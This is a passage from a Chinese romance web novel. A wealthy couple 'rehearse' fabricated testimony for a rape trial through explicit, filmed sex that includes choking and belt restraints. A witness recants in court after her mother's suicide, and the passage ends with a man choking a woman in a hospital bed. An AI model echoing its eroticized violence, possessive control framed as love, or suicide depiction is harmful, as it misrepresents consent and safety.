林稚水后背陷在办公椅子里,手指将写了一半的墨迹斑斑白纸捏着,朝他这双低垂的琥珀眼晃悠着:“我动脑过度,实在想不出一些新的口供细节,能不能劳驾宁总大人陪我一起推演下?” 她上面编写的是宁惟羽那晚如何因爱生恨强迫裴观若发生关系的。 宁商羽一目了然。 而林稚水想的是,自己床上的那点儿经验都来源于宁商羽启蒙,如今他又主动送上门,恰好唯她所用。 “帮帮忙,不然细节要经不起推敲,我会当众丢脸的。”林稚水轻微地歪了歪头,注视着宁商羽眼神,另一只小手已经不安分地攀爬上了他敞开的睡袍上,透白指尖在那绷得发紧的肌肉线条上刮来刮去,最后刚要触及“小老公”时。 下一秒,被宁商羽筋骨匀长的手掌毫无预兆地掐住了脖子,猛地将她整个人从椅子上,转而摁在了宽大的书桌上。 林稚水微微睁大的眼眸视线瞬间颠倒,倒是不痛,就是有些懵,一时间没反应过来,而宁商羽高大身形居高临下地,散发着极盛到了让她心尖震撼无比的冲击力,就已经迎面直直的撞来。 所幸还有一层薄如蝉翼的小料子挡着,没进去。 但是宁商羽面无表情模拟她剧本所写的行为时,还请她的臀,狠狠吃了一巴掌:“不挣扎么?” 林稚水没想到这么快就开始了,表情变得很震惊,随即,脑海中回忆起,她洋洋洒洒的千字剧本上确实是有在书桌上掐脖子的行为,而且特别用力,特别恶狠狠那种。 甚至,还有强吻戏码,用舌头非常凶猛的,捅小嗓子眼之类的。 林稚水此刻不可自控地脸颊红了,曲起双腿,说:“等等……你这样我没法专心记住细节,先暂停,我要录下来!” 继而,她小声跟宁商羽提起先前冲动购买了十款摄影高清设备的事,后来真收到,又满脑子都想着别的事,就没派上用场。 现在时机刚好!!! 林稚水手脚挣扎着从书桌爬下来,光着脚,连鞋子都顾不上穿好,就去拿设备,都存放在了衣帽间的角落柜子里。 宁商羽倒也没阻止的意思,姿态慵懒地靠在床头看她一顿不亦乐乎的忙活。 等林稚水架起录像设备,点开机,成功正在拍摄状态后。 她转过身,眼眸看向了宁商羽的方向,他恰好背对着那面宽敞的落地玻璃窗,外面是落羽杉高大树木,这样映衬得,犹如是溶进了幅色彩浓烈的油画里。 夜色没有稀释宁商羽的俊美,反而使他看起来那张脸更摄魂夺魄了。 林稚水被惊艳了一把,忍不住在心里想,哪里还需要宁商羽来强的,他要想,勾勾手指头,她就耐不住半点儿考验,生理性的,就想跟他亲近了。 这样还怎么推演的下去? 不过很快林稚水就没这方面困惑了,她从走近床边,宁商羽的状态变自动切换,极度配合这场演出。 “等等……” “好像不对,不是从床上开始的,是浴室。” “你不是要推翻先前口供,就从这里开始。”宁商羽把她推在蓬松柔软的被褥里,这样造成她无法看清后面,雪白伶仃的腰线往下都只能靠着他,男女体型上的各种巨大悬殊,也间接让这一幕格外刺激视野。 好在都录下来了。 宁商羽慢条斯理地将她像个精致又漂亮的布娃娃似的熟练摆好,又嗓音低缓而稳,将她脑海中缺失的那一块生理知识补齐,“想要你想求救却叫不出来很简单,跪好,先用皮带……” 宁商羽口头上讲述,也示范了一遍。 用皮带。 将那双,纤细到一只男性手掌就能轻易扣住的手腕绕紧。 容不得她躲…… 林稚水下意识挣扎了下,未料到,轻轻松松从束缚里逃了出来。 宁商羽没动真格,她那皮肤太嫩,禁不住这样,只是漫不经心的描述着那皮带的除了绑手外,还可以将纤细犹如天鹅一样的脖颈圈绕住,向后拽,在用佩戴着冰冷的指环两指沿着那唇间…… 前后堵得,顺着血管蜿蜒至全身,让她痛苦到也无法喊出来。 光是这样听他说,林稚水呼吸的尾音就颤起来,她咬住舌尖,脑子被教育的知识越多反而越乱起来,虽然真没被他讲述的这样对待。 可宁商羽只是思想教育。 爱耀武扬威的“小老公”却是行为上的教育! 那凝脂一样的雪白后背,养得太好,肌肤上也无法避免地浮现出几道鲜活轮廓出来。 后来,宁商羽又把她往浴室里抱,这次是拿皮带,捆住那双手腕,往淋浴地方的磨砂玻璃门压制住,随意挑选了款浓郁香调的玫瑰沐浴液。 宁商羽借这个,取代消毒酒精。 挤出来一点,帮她洗,继续教育她想要毁灭证据,该怎么去洗出来。 林稚水动弹不得,长发被热水打湿后就犹如最华美的乌黑绸缎蜿蜒在肩胛处,又被他的胸膛笼罩着,只能下意识混乱地摇了摇头。 不要了。 不要这样…… 她那双眼带着怜悯感的琉璃眼被水雾蒙住了视线,只知道玻璃门很滑,绵密的泡沫打得到处都是,玫瑰调加浓郁的落羽杉植物味道都快弥漫满了这一块封闭水声的空间。 而从摄像机的镜头里看。 此时此刻,这扇玻璃门先是倒映出了林稚水的身段,模糊又朦胧了会儿,忽地,那莹透干净的胸前轮廓呈现了出来,被重重地印上,越发清晰无比起来。 而很快,另一道压迫感极强的高大黑色身影,无声地叠在了她这抹纤细身影上。 宁商羽先是筋骨突出又修长的手指帮她洗,像洗还未被雕琢过的千年白玉籽料,又说不够,这样还是能被检验出来东西,便理直气壮地,换成她最挂在嘴边爱着的那个。 剧本里压根没这段,都是他自己加的戏……林稚水的腰压根不足他半掌宽,被掐着,没办法躲,只能紧紧闭上眼,尽量地站稳点儿。 宁商羽低低笑了一声,开始气息热过水蒸气,在她耳畔问:“喜欢大老公洗,还是小老公?” 他用平日里上谈判桌的正经腔调,模仿她的称呼,嗓音又极为性感,惹得林稚水心率直接超出正常水平,连带身体瞬间感受到强烈的失重感。 堪堪不稳地,伸手扶着他青筋隐隐浮动的手臂,说:“什么大老公小老公……你现在是我老公吗?” 这种关头,倒是还记得正常进行推演的事。 宁商羽很深看了眼她,霎时间,就毫不客气暴露出他本来的面目,压根就没按照林稚水辛苦编写的剧本细节走,却为她高级定制了一次“充满新奇的体验过程。” 到最后。 黑色的摄像机被宁商羽修长有力的手指拿走,对准关键地方,放大又高清的,拍了不知多少张特写照。 有水珠,沿着肌肉线条纹路向下蜿蜒,没入两人地方的。 其中包括林稚水趴着,躺着各种角度,以及浴室里的每个地方和主卧,最多的特写照片,是取景在面朝落羽杉的落地窗前。 这采购来的设备,是被他给玩明白了。 林稚水脑海中稀里糊涂的想,不公平,凭什么都是宁商羽拍她,还一边随动作极近距离的拍,她将漂亮的眉心皱着,指甲扎进他大腿的肌肉之中: “宁商羽……你尽管随便怎么拍好了,等后面,我要一帧一帧全部检查个遍,要有全部都进来的,你等着。” 她小嗓子是哑的,破碎的话音,从红润的唇溢出:“我会狠狠惩罚你的!” 这狠话放的,加上这副滴滴答答地渗出水来的小可怜模样,半点震慑力都没有。 宁商羽更加变本加厉要把她欺负一顿,紧接着,就像是窗外天边上的黑云般,随着夜色越浓,就愈发扩大…… 林稚水清澈的瞳孔骤然收缩,逐渐地,整个人弱小无助地蜷缩了起来。 她整晚都没真正意义上的睡好,一会儿醒来时,视线几许迷糊间,宁商羽还在亮着昏黄台灯的床头前办公。 他精力旺盛到了无人能敌的程度,竟还有余力,回复几封工作邮件。 而更过分的还是,处理完了一会,宁商羽便搁下笔记本,又掀开被子,来惊扰她的睡眠,近日积攒了不知道多少的量,都往她这里共享了。 林稚水眼眸盯着那盏光芒微晃的灯,也分不清到底是哪儿晃。 她觉得热,脸上写着疲惫和困意,最后,迷迷糊糊的,竟沾了些他的东西,指尖艰难似的,往那完美得跟雕塑似的腹肌,圈画出两个小爱心,又一抹,连在了一起。 然而,宁商羽眼神很深注视了她片刻后,说:“别睡了。” 别睡??? 别睡的话,那她明天开庭还怎么一身正气的去法院跟裴胤打胜仗! 隔日,林稚水哪怕脑子被强制性开机,还是不太清醒的,困到眼尾半垂着,纤长的睫毛精致阴影洒在脸颊处,平静到在外人眼里,仿佛胜券在握。 事实真相,林稚水不敢随意开口说话。 怕暴露自己脑袋空空,也不是,至少被宁商羽的身影给占了,一想到他昨晚过分至极的行为,她指尖攥紧了裙摆,生着闷气。 在旁,一无所知的宁濯羽接了个电话,转而对她说:“我哥有话跟你说。” 宁商羽给她打电话。 但是林稚水假装没听到,他打宁濯羽这里来,也别想得到她搭理,于是启唇,轻飘飘的问:“你哥是谁?” 宁濯羽随口回:“宁商羽。” “宁商羽又是谁,我认识他吗?”林稚水表情不像是气呼呼的样子,清澈的音色也正常,但是她玩失忆似的,一副佯装出不认识这号人物的表情。 宁濯羽回味过来。 这是闹上夫妻内部矛盾了啊。 林稚水就是不接,不要听宁商羽那罪大恶极之人的嗓音,她继续垂眼,视线无声地落在自个的雪白手腕处。 今早出门时,特意选了一件格外保守的衣裙穿,倘若她稍微动作幅度稍微大点,就会被人发现腕间残留着淤青的暗红痕迹,特别明显,一眼就能被分辨出是类似皮带之物束缚出来的。 林稚水压根不敢动,除了有无数媒体镜头对准她外,宁濯羽等人的眼力也极好。 她是邀请宁商羽帮忙推演下案件细节,可没让他这样玩,还折腾她到了落地窗外的天光大亮,才良心发现停下来。 林稚水指尖慢悠悠地揉了揉手腕,心里已经全方面把宁商羽谴责了一遍。 就在她准备谴责第十遍时,明亮庄严的大厅内气氛瞬间喧嚷了起来,起先,林稚水还在沉浸自己的小世界里,直到宁濯羽饶有意味地挑眉,低声,“小祸水,你真不知道宁商羽姓甚名谁啊?” 林稚水睫毛都没带抬:“没见过。” 宁濯羽扯着嘴角,拖起幸灾乐祸的慵懒语调说:“现在见到了。” 什么见到?林稚水表情茫然了下,不知怎么跟有心灵感应似的,眼尾瞥向了左侧前方,倏地,精准地看到了一群西装革履的精英保镖人群里,最为醒目的是宁商羽身影。 他居于这场权力博弈的棋盘之上,是不会出现在聚光灯和镜头前的,却在此刻,开庭前公开亮相。 没有一家国际权威的媒体提前得知这个激动人心的消息,宁商羽的出现,更像是临时起意般,哪怕拒绝接受采访,也一瞬间抓住了众人的视线。 他大步流星,气场极盛的朝林稚水位置走来。 宁濯羽很有眼色主动让位。 反观林稚水的魂魄都被惊掉似的,半响,才很慢地眨了眼。 眨完,宁商羽一身线条流畅锋利的纯黑西装身影还在,且距离更近在咫尺了,她这才彻底意识到不是出现幻觉了。 “你怎么来了?” 宁商羽不疾不徐地看着她,薄唇溢出淡而清晰的五个字:“来追随宁太太。” 林稚水被他追随二字给压到了心脏,直起薄薄的腰,耳廓和脸颊不用照镜子就知道肯定红透,几秒后,避开了他这双摄人的琥珀眼。 做狠了是他。 来放下宁氏掌权人的尊贵架子,当众现身来哄人的又是他。 林稚水虽然还没彻底消气,却微微弯起了唇角:“那你自己慢慢追好了,宁太太暂时不想跟姓宁的人说话。” 宁商羽还未说什么。 耳力极好的宁濯羽在斜后方向,突然一问:“这是迁怒啊,也不跟我搭话吗?” 林稚水坐姿端庄,“那要看你是宁濯羽,还是小濯司机了。” 听到她的话后,宁商羽朝她身旁落座,手臂随意似的占据到了她腰后椅子背上,那股压迫感极强的气势毫无收敛之意。 不用旁人提点。 是人,都能瞧得出宁商羽对林稚水这位商业联姻得来的妻子是怎样占有欲。 还有二十分钟开庭。 林稚水先是不想跟姓宁的人说话,奈何,他存在感太强,更加把她本就晕的脑海搅得都是水儿。 先前还言之凿凿的不知道宁商羽是谁。 现在是只知道宁商羽是谁。 林稚水思考几秒,不能因自己误了正经事,便抬起指尖,挡住唇时,悄悄的说:“这场官司交给小濯司机来打吧,我要回车上旁观战局。” 宁商羽低问:“我是谁?” 没名没姓没身份的,他不应。 林稚水听出这层深意,于是,眼眸水波流转,望着宁商羽,拉长的尾音故意咬字不清地,给他当场改个名:“你是伤鱼啊。” 顺便,也很公平起见的给一直光明正大偷听的宁濯羽改个名:“你是捉鱼。” 兄弟俩长的都耀眼,都不是什么好人! 第66章 林稚水是给自己设有很高的原则底线,她可以不理会宁商羽,却能搭理宁伤鱼……于是坦坦荡荡地把人往停驶在庭外梧桐树下的劳斯莱斯带。 高级又密闭的车厢内,林稚水哪儿都不坐,非得坐他怀里,裙摆柔滑的铺散在男人西裤上,就犹如神秘高贵的黑色水墨画陡然染上一抹纯洁色彩。 还没开庭,林稚水不急于看直播,倒是摊开一只纤细的手,朝他索要:“我要看昨晚你拍摄的那个。” 宁商羽低着头看了她很久,久到林稚水脑子再怎么迟钝都反应过来,他那双琥珀眼特别滚烫,极具某种难以形容的危险性,像丛林世界野兽狩猎的眼神。 一时间,林稚水都分不清是乱改他名字,反而把那股本就压抑在本身强烈的欲,给激出来了。还是要看拍摄的照片这种行为,变相撩起了他的欲。 无论是哪种。 宁商羽这样打量,都让林稚水霎时间把堵在心口的坏脾气给消融掉了,以至于心脏被别的什么东西,撑得很满。 还未等她再度说话,宁商羽低声问:“你叫我什么?” 林稚水怔怔地看着他。 宁伤鱼啊! 虽嘴巴上没说出来,微微睁大的琉璃眼透露出的意思,就是这个,在心里又叫了一声宁伤鱼…… 宁商羽好似跟她心脏共振,听到了,继而面色看起来毫无波澜,语调平淡道:“以后不准乱给人取外号。” 取了还记不住。 林稚水有些莫名其妙:“为什么?那我不理宁商羽又不能给你换个身份,你是很想跟我冷战吗?” 宁商羽没给她缘由,只是不准。 林稚水又说:“我就要取。” “这是命令。”宁商羽手掌无声地笼罩住了她屁股,意味很明显,要是不乖乖听话,这儿,是要被惩罚的。 林稚水漂亮红润的嘴上嘟起,实则心里早就把他家族羽字辈的弟弟们都轮番取了个遍。 包括坐上被审判席上那位宁惟羽。 就叫他危鱼好了,很符合他当下岌岌可危的处境。 宁商羽低低静静注视了会儿她那双充分很会怜悯人又像是小孩子一样的清澈眼瞳,很快,无声无息地来亲吻她,而没有移开过的手掌骨节分明,逐渐分布在皮肤表层的青筋绷起,与她的雪白产生极强的反差。 开始令人脸热的揉了会儿,直到林稚水被这股力量感冲昏头脑,眼尾泛着樱红色,呈现出一掐就要流水的表情时。 忽地,听他说道:“真想看?” 林稚水抿了一下唇。 宁商羽不疾不徐地真将昨晚拍摄的高清视频从手机调出,连音量都外放,屏幕的极为惊人的尺度画面感更是最直观的方式刺激到每一个感官。 才短短几秒间,林稚水就细细的倒吸了好几口冷气。 她甚至看得心惊肉跳,许多汗从后脖冒上来,有种被火焰烧到顶的幻觉:“你!” 宁商羽昨晚刚开始还像个思想教育家,耐心地传授她生理知识,等实践时,就扮演起了她剧本上的角色,看似没有真正伤害到她,行为又格外的粗暴。 特别是两人的体力悬殊到压根无法相提并论情况下…… 宁商羽还在她看不见的角度里,把自己的一部分! 全全部部!! 完完整整的!!! 犹如色泽浓烈的红宝石插镶在羊脂玉一样,被牢固到了严丝合缝的程度。 林稚水把这段全程都是特写镜头的视频从头到尾看完,衣领之外的皮肤已经晕开一层红色,哪怕膝盖变软,也下意识不想在他怀里了。 视频都看完了,才记起要跑也为时已晚。 宁商羽强行扣下了人,又慢条斯理地翻出静态的照片,一帧一帧高清得倒映在了她清透的瞳仁儿,“不是要看要检查么,才看一点就想跑,嗯?” 这一眼望去,全部都整个……林稚水哪里还要逐帧检查? 她感觉有什么水声沿着大腿潺流到脚踝,像是滴下来洇湿了一片裙摆,可眨眨眼,又恍惚地发现是被冲昏了头脑才出现的幻觉。 林稚水说什么都不继续观看了,忽而灵机一动,脸色烧红说:“宁伤鱼,庭审时间开始了!” 庭审开始前十分钟。 裴观若像是廉价又生锈的提线木偶坐在沙发上等待,今日晴朗,阳光却都被厚重窗帘挡住了,一丝都透不进她这里来。 就像是裴家,要让她继续暗无天日下去。 这时,裴文滨从门外进来,看了她眼,又快步到裴胤的耳旁汇报情况。 宁商羽来了。 要知道他才是宁氏家族真正统治者,这场大戏,他却隐于幕后一直没有现身,似乎是将虎视眈眈想篡位的宁惟羽当游戏筹码,纵容着林稚水想怎么上桌玩都行。 他一来,定然是会在国际媒体界引起轩然大波。 毕竟宁商羽的言行举止,包括一个眼神变化都极可能被众人各种解读和揣测君心。 裴文滨又说道:“现身了一时片刻,又把林稚水在众目睽睽下带走了,这场庭审,变成了宁濯羽来代表。” 裴胤斜挑眉:“林稚水一直拖延时间,恐怕是清楚自己胜算不大,又输不起,宁商羽带走她,难不成是想借我们之手,彻底断送宁惟羽前程。” 用一个港口项目来清除家族内部跟自己分庭抗礼的竞争对手,这笔买卖,身为有利可图的商人本性,当弃则弃,肯定是懂得如何取舍。 裴胤继而微眯起眼睛,既然宁商羽已经退了半步,那么接下来的事情会方便不少。 不过,他目光扫向全程都像活死人状态的裴观若,嗓音很沉地唤了声。 “观若。” 裴观若睫毛清冷冷的低垂在眼下,对外界仿佛没任何反应,直到裴胤沉吟片刻,点一下头示意裴文滨往深城的私人医院当场拨了个视频电话过去。 裴观若这才看向他。 裴胤:“你母亲今天已经开始频繁苏醒,上法庭之前,跟她报个平安。” 这会儿他俨然是副惺惺作态的慈父模样,格外开恩的让裴文滨把手机递过去。 裴观若冰凉颤抖的指尖接过同时,视频的画面,躺在高级病房床上的陈宝翠像是与她隔空有了母女心灵感应,也异常虚弱地睁开了双目。 陈宝翠无法出声,即便喉骨上惨烈的伤口已经被技术最好的医生手术缝合好,声带却严重不可逆的损伤……裴观若已经预想好了未来。 等真正的尘埃落定后。 她就带陈宝翠永远离开深城,背上她的画板,去国外一处草木茂盛的小城镇流浪。 观若。 陈宝翠似乎有话说,拖着近乎是一直在苟延残喘的单薄苍白身躯想从病床上起来,探手去拿什么,很快旁边的齐纯芝递来了笔和纸。 陈宝翠手指已经非常枯瘦,却把笔攥得很紧,歪歪扭扭的,力气很艰难地在那白纸上画了一团黑线。 裴观若心忽然间抽痛起来,泪意迟来地浮现在眼底,被睫毛遮掩着:“这鸽子画的好丑啊,没有我画的好看。” 陈宝翠面色满足的笑了。 下秒,手机被裴胤直接伸来的一只手掌强行收走。 薄情寡义到了甚至懒得看一眼陈宝翠,便把视频通话挂断。而裴观若被倏然打断,忍着情绪,面无表情地盯着他这个举动。 “观若。”裴胤扭正领带,道貌岸然地提醒她:“把握住这次机会,彻底赢了这场官司,今晚爸爸就带你去医院见你妈妈,我们一家三口好好在医院团聚,你是个听话懂事的孩子,别任性了。” …… 视频被中断。 病房陷入了一阵死寂气氛里,齐纯芝维持着举手机的动作许久后,才慢慢的放了下来,重新看向病床上。 即便仪器显示健康状态稳定,陈宝翠整个人却残败得像隆冬嶙峋的枯枝,再也绽放不出最艳丽的花骨朵了。 静了半响。 微风把窗帘吹开,陈宝翠也一直望着她一直望着,布着血丝的眼底满是恳求,不知是哪儿的力气,手指忽地紧紧抓住了她。 哪怕一字未说。 生存在会吃人的裴家,她们这些家境贫寒被外界戏称是裴胤救风尘得来的贪慕虚荣女人,甘愿漫长又孤独的被困在金丝笼里,或是出卖了灵魂支付了怎样的代价,都是为了自己孩子。 齐纯芝懂她。 “你想让你的女儿飞走,可我的文滨和还很年幼的文晴都还在鸟笼里,需要我保护。”齐纯芝看着陈宝翠这张美貌尽损的惨白面容,连酒窝上的那颗小红痣都彻底黯然失色了,她字字很轻:“陈宝翠,我不能送你最后一次,你自己好自为之。” 话音落地。 齐纯芝站直了些,离开之前,她动作无声地把病房的那扇反锁紧紧的窗户打开了。 …… 庄严的庭审大厅,黑压压地一片坐满了人。 裴观若从高至天花板的侧门走进去时,睫毛下的视线极轻一扫,代表宁氏家族团的中央位置确实空了出来,没了熟悉的纯洁身影。 她脚步没停,继而,跟一直以来都没有眼神交流过的宁惟羽迎面对上。 宁惟羽依旧是一身考究的全套黑西装出席,头发打理过,整副皮囊精致又傲慢的不像是来被审判的,今日还往衣领别了株象征着锐利的绿菟葵,简直是在国际各大媒体面前出尽风头。 而裴观若就犹如那绿菟葵花瓣上的雨露,转瞬即逝。 她站在了该站的立场上,也继续是那副美到极致却又麻木死气的模样,仰着头,面对着无数聚光灯下的镜头,犹如天边烈日的火光,残酷烧灭着她仅有的那一丝尊严。 不知过去多久。 裴家的律师在跟对方律师团剑拔弩张的进行了激烈交锋后,突然直接问向她:“裴观若,宁惟羽在酒店那晚强迫跟你发生性关系,你是否自愿?” 等了几秒后,裴观若摇了摇头。 律师像是发号施令一样:“他强奸了你,请你回答是与不是。” 各种证据链都已经非常完善,只要裴观若乖乖配合不再改口供,哪怕媒体热议的话题多香艳,又或是质疑裴氏自导自演一出戏,为了跟宁氏家族抢项目生意。 只要她不翻供。 宁惟羽就有罪,就跟这段最肮脏的丑闻沾上点边儿…… 一秒两秒,四下陡然沉寂的气氛让在场的人都几乎忘记了时间流逝。 都在等裴观若一句话。 裴文滨正专心致志旁观,突然,被裤袋的手机震动声打断,他侧身拿出来看是私人医院电话,又转头看了眼裴胤正在面色沉沉盯着前方的原告席那抹身影。 裴文滨话咽了回去,先去厅外的走廊接听。 结果那边是齐纯芝:“文滨,你现在不要说话,听妈妈说,想方设法派个人告诉裴观若,陈宝翠死了。” 裴文滨大为震惊:“怎么可能会死,父亲不是派你二十四小时在旁全程监视,还让保镖把整栋楼都重重围堵……” “你听我的去做。”齐纯芝向来轻柔悦耳的声音难得严厉,“她死了,自己爬上窗户,从高空坠楼当场身亡。” 这回哪怕裴胤请多少顶尖医疗专家来救,也不能救的回来。 年迈的白鸽,最终无法翱翔于天际。 齐纯芝见裴文滨迟迟不出声了,最后语重心长地提醒:“不要被你父亲看出来。” 裴文滨嗓子发紧,跟眼前这扇厚重庄严的大门对峙好几秒,由恐惧转而冷静后,他才下意识整理了下领带,走了进去。 “裴观若,请你正面回答。” 裴观若的身影,艳得安静又孤傲地站在两面都是悬崖峭壁的中间一条线,没什么血色的脸慢慢重新抬起,唇色却红得突出:“我……” 她刚要指认,倏地,隔岸观火的人群里另一道高喊的嗓音覆盖过了空气里的一切噪音:“陈宝翠死了!” 陈宝翠死了。 陈宝翠死了。 陈宝翠死了。 这一句话犹如冰冷的风暴汹涌而至,将裴观若眼中的希望瞬间熄灭,她发白的表情不可置信,猛地回过头看向裴胤,想求证。 却意外看到,无声站在裴胤后方的裴文滨,对她点了头。 死了…… “裴观若!”律师加重语气:“别故意拖延庭审时间!!!” 白鸽,一团黑线的小白鸽,飞吧……裴观若后知后觉,陈宝翠的那幅画重新浮现在了眼前,她手心堪堪不稳扶着桌角边缘,现场如水沸腾的众人议论声音都像是万千暴雨,重重的击打而来。 裴胤当机立断申请休庭。 裴观若冷的厉害,好似有撕心裂肺般的哭声从她这具身体的骨髓里渗透出来,她开始听不见别的声音了。 “他没有强迫我——” “我是自愿的。” 裴观若说。 厅内诡异的安静两三秒,又喧哗气氛瞬间飙升到了天花板,一片夺目的闪光灯齐刷刷地朝她骤然扫过来。 裴观若闭了闭眼睫,想压制那股滔天的恨意,可睁开时,还是恨。 她没再吐露半个字,而是当着如影随形的无数镜头回过身,冷冷地遥望着裴胤。 直到。 裴观若非常虚弱的当庭倒了下去。 …… 直播画面瞬间陷入了混乱场面,林稚水猛地站起来,忘了还在车厢内,脑袋砰地一声,撞在了车内天花板上。 她晕了晕,被宁商羽修长有力的手臂及时护住跌落在地毯的身体,抱回了大腿上。 “陈宝翠怎么会……”林稚水表情忽然凝重起来,下意识揪着宁商羽的西装纽扣:“不应该的,裴胤比任何人都不会希望看到她出事,这案子还没结束,她……” 她能活的啊。 宁商羽看到林稚水眼中有水光闪烁,继而,将她抱在怀里,手臂收紧,又空出一只手掌沿着那微微发颤的后背上下安抚:“裴观若为了母亲赌上人生,陈宝翠也会为她,赌上人生,稚水,你顾全大局已经做的很好了。” 林稚水没有哭,哪怕眼尾红了一片。 她只是在林家时被限制自由保护的太好了,从未亲自入局,去直面过这种充满算计的阴暗一面。 裴胤就为了把竞争对手推下深渊,连朝夕相处多年的“妻女”都可以牺牲。 太丧心病狂了。 林稚水突然琢磨不下去,裴观若待恢复清醒状态后,该独自去怎么面对陈宝翠死亡这个事实。 于是,突然说,“我要去深城一趟。” 宁商羽那双琥珀眼略深而复杂注视了她片刻,轻易就看穿她这颗怜悯心想去做什么,语调偏低:“会有人给陈宝翠的后事处理妥当。” 林稚水是担忧裴胤接下来为了逼迫裴观若,心狠手辣拿死后的陈宝翠继续要挟。 宁商羽一句有人处理。 林稚水反而变得茫然起来,而对于她先前想亲自去的提议,宁商羽保持着非常强势地拒绝态度。 深城地界,是裴家势力盘根错乱的地盘。 宁商羽嗓音沉下去时极具压迫感,很清楚告诉她:“稚水,你在我的地盘,我的身边,绝无可能有任何一个人能伤你分毫,出了泗城,便会有无限可能。” 他对她的人生掌控欲非常强,已经到了要断绝一切的可能概率。 宁商羽不会放任她去涉险,继而,手掌温柔摸了摸脸蛋表情的情绪变得冷静下来的林稚水:“你出生就是为了被我保护。” 林稚水有点怔然,睫毛很轻地眨了下,也不知是不是错觉,宁商羽琥珀色的眼底浮现着某种格外幽暗的情绪,稍纵即逝,大概他自己都没发现。 保护林稚水,直白点说,已经变成了编辑进他基因里的一种天然本能。 比性瘾还难抑制。 宁商羽不可能放任她涉险。 随着宁惟羽无罪的审判结束。 宁氏家族就不再接受任何一家国际媒体采访,依旧给外界留下的印象还是一如既往的傲慢高不可攀又强大,而伴随着庭审后,裴家在这场利益博弈中被踢出局是必然的结果。 至于裴观若,就看被下套诬陷名誉的宁惟羽会怎么处理她了。 目前为止,裴观若从庭上当众休克过去后,虽及时送到高级私人医院去抢救,哪怕已经脱离了生命危险,却一直陷入半昏迷状态。 林稚水亲自来探望过。 第一次是为了告诉她,陈宝翠的遗体没有被裴家强行拿走,而是暂时安置在了另一家医院的太平间。 第二次,也是为了告诉她些局势情况。 裴胤注定拿不到舟隆港口……宁商羽已经再度赴美谈判了,这是第二轮,而裴氏丑陋的一面被全面曝光后,已经彻底丧失上桌的资格。 如今还有其他顶级财阀的掌权人跟宁氏抢夺,但是唯独,不可能有裴胤。 第三次时,外头开始飘初雪了,林稚水身为港城人,从未见过能这么早下雪的地方,她觉得新奇,便捏了个肚子圆鼓鼓的小雪人,继而安放在了病床的柜子上。 她又打湿毛巾,替裴观若仔细的擦拭了手和那比雪白枕头还白的脸蛋,说:“其实睡觉也能治愈魂魄的,观若,你别急着醒来,好好睡觉吧,把自己养好了再醒不迟。” 窗外细雪一停,阳光便破云而出,从垂地的白纱洋洋洒洒进来。 裴观若静垂的睫毛也被镶了层很浅的金光,随着呼吸,似乎颤了下。 林稚水动作很轻柔,替她擦拭去眼尾:“裴胤视你为弃棋,外界不会过度关注一个私生女死活,你可以摆脱这个身份,重新为自己活一次。” 或许有些残忍,却始终要去面对的……林稚水停顿了许久,垂着的琉璃眼充满了怜悯情绪,过了片刻。 等离开病房前,又回头看了一眼安静的病床身影,很轻很轻说:“观若,陈宝翠选择离开你,不是不爱你了,而是她认为自己没有能力再爱你了。” 两三秒后。 门被关上,空气中除了林稚水身上带来的香还未消散,静到仿佛连呼吸都听不到。 直到被光芒折射的小雪人开始融化,融成了水,仿佛流到了枕头上。 裴观若极其缓慢的睁开了双眼,布满猩红血丝的眼球,尽是泪,也尽是对裴胤入骨髓的恨意。 …… 林稚水前脚回到那片落羽杉的住处,便给宁濯羽拨了一通电话,让他派私人机去将陈宝翠的遗体连夜送到泗城来。 路上想了许久,感觉裴观若应该会想见自己母亲一面。 或许,让陈宝翠在同一家医院安置着,最后陪陪她。 宁濯羽领着差事去办了。 等到夜晚,林稚水刚洗完澡,裹着白丝绒的睡袍走到主卧,还未歇下,又接到了宁濯羽的电话。 直接步入主题。 裴观若苏醒了。 而她醒来开口第一句话,是要求见宁惟羽。 “见他?”林稚水往床沿坐,先是语气惊讶,随后蹙了蹙眉,很不能理解似的。 宁濯羽在那端漫不经心道:“对,指名道姓了要见宁惟羽。要告诉她么?这位她的旧情人险些弄丢了港口项目,还让家族名声被牵连抹上艳闻,所以无罪释放后,正在老宅关禁闭呢。” 关禁闭是宁徽诏亲自下的令。 毕竟宁惟羽暂位收购项目的领导者期间,却管不住下半身把这么重要的事办砸了,如果轻飘飘的揭过去,不被惩罚的话,难以服众。 宁商羽出差在外。 整个偌大的家族,除了宁徽诏外,能一句话就把宁惟羽解禁的人,唯有林稚水了。 她可以不放人。 宁濯羽的话很明显。 林稚水略思考了会儿,“虽然我不知道裴观若为什么第一个要见的是他,但是比起宁惟羽关完禁闭后为了这桩情仇恩怨寻上门,还不如她主动见。” 宁濯羽领悟:“安排。” 当天深夜,有林稚水口头上的解禁,宁濯羽就亲自去了一趟老宅把人给放了。 而此刻,裴观若在白日苏醒后,情绪很稳定的配合护士做了全套身体检查,又好好吃了营养餐,才被送回到病房区域里。 她不喜光了,将照明的灯全部熄灭。 方方正正的玻璃窗口外又开始飘雪,裴观若太瘦了,正常的病服都像是穿着大一码的,松松垮垮套在身上。 她坐在了床沿,缩起腿,将尖尖的下巴抵着膝盖,像是看雪。 等终于外面传来一阵脚步声,不似护士的,裴观若轻易就辨出了是宁惟羽的鞋子踩出来的,又过半秒,紧闭的病房门陡然被推开。 进来的身影很高大,西装加身,逆光辨不太清五官轮廓。 裴观若照旧维持原有的平静姿势,直到那道黑影如高山雪崩一样笼罩着病床,她抬起脸,恰好宁惟羽俯身下来。 下一秒。 他眼眸冷冽深邃,盯着她:“又欠操了么?” 第67章 病床前,宁惟羽盯着这张美丽疏离的脸孔,比任何时候都更瘦,皮肤近乎透明,好似轻易就能被男人得到,或者是摧毁掉。 而她,瞳色很漆黑,在幽暗环境下甚至泛起点儿蓝调的眼眸同时又透露着一种虚弱的诱惑,像是在默许。 默许他所作所为。 宁惟羽已经彻底失去耐心,手掌掐住她的脖子,往那整洁的雪白被褥里压下去,居高临下地问:“你今晚想跟我忏悔么?” 裴观若毫无挣扎的意图,陷入他冷冽的气息里,说:“忏悔?宁惟羽,不应该是你主动来宽恕我吗?在众多宁氏家族的子弟里,我赋予了你有权利上我……” 宁惟羽冷白修长的指骨不断加重,像是带锋利的触感,要划破她皮肤下的血管。 裴观若脖颈剧痛,感到窒息般的痛苦,可她只是很平静又艰难地发出细碎声音:“你生来就没有人坚定的选择你,除了我,我哪怕出于算计,也只选择算计你啊,你该感谢我的。” 她虚弱无力的吐露一个字,宁惟羽的额角就缓缓暴起青筋,却倏地,没有下一步的动作。 因裴观若手指,如空气般轻盈的触碰到他阴森恐怖的神色面容:“你现在不敢要我了。” 